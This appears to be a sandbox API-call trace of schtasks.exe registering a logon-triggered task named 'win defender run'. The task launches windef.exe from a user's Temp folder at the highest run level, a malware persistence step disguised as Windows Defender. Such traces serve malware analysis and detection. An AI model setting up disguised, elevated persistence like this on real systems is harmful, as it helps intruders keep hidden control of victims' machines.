[0153.363] lstrlenW (lpString="du") returned 2 [0153.363] lstrlenW (lpString="du") returned 2 [0153.363] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.363] lstrlenW (lpString="f") returned 1 [0153.363] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.363] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|du|") returned 4 [0153.363] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.363] lstrlenW (lpString="|du|") returned 4 [0153.363] lstrlenW (lpString="|f|") returned 3 [0153.363] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0153.364] RtlRestoreLastWin32Error () returned 0x490 [0153.364] lstrlenW (lpString="ri") returned 2 [0153.364] lstrlenW (lpString="ri") returned 2 [0153.364] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.364] lstrlenW (lpString="f") returned 1 [0153.364] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.364] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|ri|") returned 4 [0153.364] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.364] lstrlenW (lpString="|ri|") returned 4 [0153.364] lstrlenW (lpString="|f|") returned 3 [0153.364] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0153.364] RtlRestoreLastWin32Error () returned 0x490 [0153.364] lstrlenW (lpString="z") returned 1 [0153.364] lstrlenW (lpString="z") returned 1 [0153.364] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.364] lstrlenW (lpString="f") returned 1 [0153.364] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.364] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|z|") returned 3 [0153.364] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.364] lstrlenW (lpString="|z|") returned 3 [0153.364] lstrlenW (lpString="|f|") returned 3 [0153.364] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0153.364] RtlRestoreLastWin32Error () returned 0x490 [0153.364] lstrlenW (lpString="f") returned 1 [0153.365] lstrlenW (lpString="f") returned 1 [0153.365] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.365] lstrlenW (lpString="f") returned 1 [0153.365] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.365] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.365] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc948 | out: _Buffer="|f|") returned 3 [0153.365] lstrlenW (lpString="|f|") returned 3 [0153.365] lstrlenW (lpString="|f|") returned 3 [0153.365] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0153.365] RtlRestoreLastWin32Error () returned 0x0 [0153.365] RtlRestoreLastWin32Error () returned 0x0 [0153.365] GetProcessHeap () returned 0x42a0000 [0153.365] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9638 [0153.365] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.365] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0153.365] lstrlenW (lpString="LIMITED") returned 7 [0153.365] GetProcessHeap () returned 0x42a0000 [0153.365] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aae10 [0153.365] GetThreadLocale () returned 0x409 [0153.365] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0153.365] GetProcessHeap () returned 0x42a0000 [0153.365] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9698 [0153.366] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.366] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0153.366] lstrlenW (lpString="HIGHEST") returned 7 [0153.366] GetProcessHeap () returned 0x42a0000 [0153.366] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aad98 [0153.366] GetThreadLocale () returned 0x409 [0153.366] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0153.366] GetProcessHeap () returned 0x42a0000 [0153.366] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9778 [0153.366] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.366] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0153.366] lstrlenW (lpString="MINUTE") returned 6 [0153.366] GetProcessHeap () returned 0x42a0000 [0153.366] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xe) returned 0x42aacf0 [0153.366] GetThreadLocale () returned 0x409 [0153.366] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0153.366] GetProcessHeap () returned 0x42a0000 [0153.366] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a94f8 [0153.366] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.366] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0153.366] lstrlenW (lpString="HOURLY") returned 6 [0153.366] GetProcessHeap () returned 0x42a0000 [0153.366] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xe) returned 0x42aaba0 [0153.367] GetThreadLocale () returned 0x409 [0153.367] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a97b8 [0153.367] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.367] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0153.367] lstrlenW (lpString="DAILY") returned 5 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xc) returned 0x42aabb8 [0153.367] GetThreadLocale () returned 0x409 [0153.367] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a96d8 [0153.367] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.367] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0153.367] lstrlenW (lpString="WEEKLY") returned 6 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xe) returned 0x42aacc0 [0153.367] GetThreadLocale () returned 0x409 [0153.367] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a93f8 [0153.367] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.367] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0153.367] lstrlenW (lpString="MONTHLY") returned 7 [0153.367] GetProcessHeap () returned 0x42a0000 [0153.367] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aac30 [0153.368] GetThreadLocale () returned 0x409 [0153.368] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0153.368] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.368] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0153.368] lstrlenW (lpString="ONCE") returned 4 [0153.368] GetProcessHeap () returned 0x42a0000 [0153.368] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xa) returned 0x42aad80 [0153.368] GetThreadLocale () returned 0x409 [0153.368] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0153.368] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.368] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0153.368] lstrlenW (lpString="ONSTART") returned 7 [0153.368] GetThreadLocale () returned 0x409 [0153.368] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0153.368] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.368] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0153.368] lstrlenW (lpString="ONLOGON") returned 7 [0153.368] GetThreadLocale () returned 0x409 [0153.368] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0153.368] RtlRestoreLastWin32Error () returned 0x0 [0153.368] GetProcessHeap () returned 0x42a0000 [0153.368] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x1fc) returned 0x42aa040 [0153.368] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.368] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0153.369] lstrlenW (lpString="First") returned 5 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0153.369] lstrlenW (lpString="Second") returned 6 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0153.369] lstrlenW (lpString="Third") returned 5 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0153.369] lstrlenW (lpString="Fourth") returned 6 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0153.369] lstrlenW (lpString="Last") returned 4 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0153.369] lstrlenW (lpString="First") returned 5 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0153.369] lstrlenW (lpString="Second") returned 6 [0153.369] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.369] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0153.369] lstrlenW (lpString="Third") returned 5 [0153.369] GetProcessHeap () returned 0x42a0000 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aad80) returned 1 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aad80) returned 0xa [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xc) returned 0x42aab88 [0153.370] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.370] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0153.370] lstrlenW (lpString="Fourth") returned 6 [0153.370] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.370] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0153.370] lstrlenW (lpString="Last") returned 4 [0153.370] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcc7e8, cchData=128 | out: lpLCData="0") returned 2 [0153.370] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.370] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0153.370] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aae10) returned 1 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.370] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aae10) returned 0x10 [0153.370] GetProcessHeap () returned 0x42a0000 [0153.371] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x16) returned 0x42a96f8 [0153.371] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcc7ec, cchData=128 | out: lpLCData="0") returned 2 [0153.371] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.371] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0153.371] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0153.371] GetProcessHeap () returned 0x42a0000 [0153.371] GetProcessHeap () returned 0x42a0000 [0153.371] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aad98) returned 1 [0153.371] GetProcessHeap () returned 0x42a0000 [0153.371] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aad98) returned 0x10 [0153.371] GetProcessHeap () returned 0x42a0000 [0153.371] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x16) returned 0x42a9418 [0153.371] GetLocalTime (in: lpSystemTime=0xcc9cc | out: lpSystemTime=0xcc9cc*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x15, wMilliseconds=0x71)) [0153.371] GetLocalTime (in: lpSystemTime=0xcce80 | out: lpSystemTime=0xcce80*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x15, wMilliseconds=0x71)) [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] lstrlenW (lpString="") returned 0 [0153.371] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0153.377] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0153.387] CoCreateInstance (in: rclsid=0x2326c0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x2326d0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xccd9c | out: ppv=0xccd9c*=0x4633880) returned 0x0 [0153.404] TaskScheduler:ITaskService:Connect (This=0x4633880, serverName=0xccd4c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xccd5c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xccd6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xccd7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0153.412] TaskScheduler:ITaskService:GetFolder (in: This=0x4633880, Path=0x0, ppFolder=0xcce64 | out: ppFolder=0xcce64*=0x46339a8) returned 0x0 [0153.414] TaskScheduler:ITaskService:NewTask (in: This=0x4633880, flags=0x0, ppDefinition=0xcce74 | out: ppDefinition=0xcce74*=0x46339f8) returned 0x0 [0153.415] ITaskDefinition:get_Actions (in: This=0x46339f8, ppActions=0xccde8 | out: ppActions=0xccde8*=0x4633a48) returned 0x0 [0153.415] IActionCollection:Create (in: This=0x4633a48, Type=0, ppAction=0xccdec | out: ppAction=0xccdec*=0x4633ca0) returned 0x0 [0153.415] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.415] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.415] lstrlenW (lpString=" ") returned 1 [0153.415] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0153.415] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x4a) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x7e) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.416] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0153.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0153.417] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.417] StrChrIW (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe", wMatch=0x20) returned 0x0 [0153.417] RtlRestoreLastWin32Error () returned 0x490 [0153.417] IUnknown:Release (This=0x4633ca0) returned 0x1 [0153.417] IUnknown:Release (This=0x4633a48) returned 0x1 [0153.417] ITaskDefinition:get_Triggers (in: This=0x46339f8, ppTriggers=0xcc9b8 | out: ppTriggers=0xcc9b8*=0x4633be8) returned 0x0 [0153.417] ITriggerCollection:Create (in: This=0x4633be8, Type=9, ppTrigger=0xcc9cc | out: ppTrigger=0xcc9cc*=0x4633ce0) returned 0x0 [0153.419] IUnknown:QueryInterface (in: This=0x4633ce0, riid=0x2313b4*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xcc9b4 | out: ppvObject=0xcc9b4*=0x4633ce0) returned 0x0 [0153.419] IUnknown:Release (This=0x4633ce0) returned 0x2 [0153.420] _vsnwprintf (in: _Buffer=0xcc93c, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xcc91c | out: _Buffer="2024-02-07T23:11:00") returned 19 [0153.420] ITrigger:put_StartBoundary (This=0x4633ce0, StartBoundary="2024-02-07T23:11:00") returned 0x0 [0153.420] lstrlenW (lpString="") returned 0 [0153.420] lstrlenW (lpString="") returned 0 [0153.420] lstrlenW (lpString="") returned 0 [0153.420] lstrlenW (lpString="") returned 0 [0153.420] IUnknown:Release (This=0x4633ce0) returned 0x1 [0153.420] IUnknown:Release (This=0x4633be8) returned 0x1 [0153.420] ITaskDefinition:get_Settings (in: This=0x46339f8, ppSettings=0xccdf4 | out: ppSettings=0xccdf4*=0x4633b00) returned 0x0 [0153.420] lstrlenW (lpString="") returned 0 [0153.420] IUnknown:Release (This=0x4633b00) returned 0x3 [0153.420] GetLocalTime (in: lpSystemTime=0xccce8 | out: lpSystemTime=0xccce8*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x15, wMilliseconds=0xa0)) [0153.420] ResolveDelayLoadedAPI () returned 0x73f5c5f0 [0153.421] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xcccf8, nSize=0xccce0 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xccce0) returned 0x1 [0153.421] ITaskDefinition:get_RegistrationInfo (in: This=0x46339f8, ppRegistrationInfo=0xccce4 | out: ppRegistrationInfo=0xccce4*=0x4633a90) returned 0x0 [0153.421] IRegistrationInfo:put_Author (This=0x4633a90, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0153.421] _vsnwprintf (in: _Buffer=0xcccf8, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xcccb8 | out: _Buffer="2024-02-07T23:11:21") returned 19 [0153.421] IRegistrationInfo:put_Date (This=0x4633a90, Date="2024-02-07T23:11:21") returned 0x0 [0153.422] IUnknown:Release (This=0x4633a90) returned 0x1 [0153.422] malloc (_Size=0xc) returned 0x4633d70 [0153.422] free (_Block=0x4633d70) [0153.422] lstrlenW (lpString="") returned 0 [0153.422] ITaskDefinition:get_Principal (in: This=0x46339f8, ppPrincipal=0xcce7c | out: ppPrincipal=0xcce7c*=0x4633c28) returned 0x0 [0153.422] IPrincipal:put_RunLevel (This=0x4633c28, RunLevel=1) returned 0x0 [0153.422] IUnknown:Release (This=0x4633c28) returned 0x1 [0153.422] malloc (_Size=0xc) returned 0x4633d70 [0153.422] ITaskFolder:RegisterTaskDefinition (in: This=0x46339a8, Path="win defender run", pDefinition=0x46339f8, flags=6, UserId=0xccdd8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xccde8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xccdfc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xcce44 | out: ppTask=0xcce44*=0x46321b0) returned 0x0 [0153.476] free (_Block=0x4633d70) [0153.476] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.476] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0153.476] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0153.476] GetProcessHeap () returned 0x42a0000 [0153.476] GetProcessHeap () returned 0x42a0000 [0153.476] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aacf0) returned 1 [0153.476] GetProcessHeap () returned 0x42a0000 [0153.476] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aacf0) returned 0xe [0153.476] GetProcessHeap () returned 0x42a0000 [0153.476] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x82) returned 0x42b92e0 [0153.476] _vsnwprintf (in: _Buffer=0xcd298, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xcce0c | out: _Buffer="SUCCESS: The scheduled task \"win defender run\" has successfully been created.\n") returned 78 [0153.477] __iob_func () returned 0x756f1208 [0153.477] _fileno (_File=0x756f1228) returned 1 [0153.477] _errno () returned 0x46305b0 [0153.477] _get_osfhandle (_FileHandle=1) returned 0x3c [0153.477] _errno () returned 0x46305b0 [0153.477] GetFileType 